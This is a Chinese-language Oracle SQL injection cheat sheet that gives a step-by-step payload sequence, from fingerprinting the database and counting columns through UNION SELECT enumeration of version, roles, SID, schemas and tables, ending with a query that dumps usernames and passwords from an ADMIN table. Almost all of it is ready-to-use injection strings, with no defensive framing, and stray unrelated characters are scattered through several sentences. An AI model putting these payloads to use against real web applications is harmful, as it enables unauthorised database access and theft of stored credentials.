1判斷是什么數(shù)據(jù)庫
and exist(select * from dual)
and exists(select * from user_tables)
原理：dual表和user_tables表是oracle中的系統(tǒng)表返回正常隙疚，那么就可以肯定這是oracle。
2查字段數(shù)
order by 10--? //錯誤,列數(shù)小于10
order by 3--??? //正常,列數(shù)等于或大于3
3判斷字段類型
.jsp?id=1 union select NULL,NULL,NULL from dual--? /*正常說明有3個字段*/
and 1=2 union select NULL,NULL,'string' from dual--? ? //正常,第三個字段是字符型
下面替換“string”，記得帶括號
數(shù)據(jù)庫與版本 (SELECT banner FROM sys.v_$version WHERE ROWNUM=1)
當(dāng)前用戶權(quán)限?(SELECT?*?FROM?session_roles WHERE?ROWNUM=1)
數(shù)據(jù)庫名?（Select?name?From?v$database）
當(dāng)前庫所有表?（Select?table_name?From?all_tables）
服務(wù)器系統(tǒng)?? (select member from v$logfile where rownum=1)
服務(wù)器監(jiān)聽IP (select utl_inaddr.get_host_address from dual)
數(shù)據(jù)庫SID?? (select instance_name from v$instance)
4獲取所有數(shù)據(jù)庫名
id=1 and 1=2 union select NULL,(select global_name from global_name),NULL from dual--
id=1 and 1=2 union select NULL,(select sys.database_name from dual),NULL from dual--
id=1 and 1=2 union select NULL,(select name from v$database),NULL from dual--
第一個庫名
id=1 and 1=2 union select NULL,(select owner from all_tables where rownum=1),NULL from dual--
第二個庫名
id=1 and 1=2 union select NULL,(select owner from all_tables where owner<>'SYS' and rownum=1),NULL from dual--
第三個庫名
id=1 and 1=2 union select NULL,(select owner from all_tables where owner<>'SYS' and owner<>'SYSTEM' and rownum=1),NULL from dual--
查到的第一個是SYS坪创，那么查第二個的時候就把SYS排除瓷蛙，比如第二個查出的是SYSTEM歌径，那么第三個就排除前兩個
當(dāng)前表名
id=1 and 1=2 union select NULL,(select table_name from user_tables where rownum=1),NULL from dual--
剩下的表名
id=1 and 1=2 union select NULL,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'),NULL from dual--
使用<>'表名'不斷添加要排除的表名查詢亿絮，表名區(qū)分大小寫鼠锈。
5查詢字段內(nèi)容
id=1 and 1=2 union select NULL,USERNAME,PASSWORD from ADMIN—
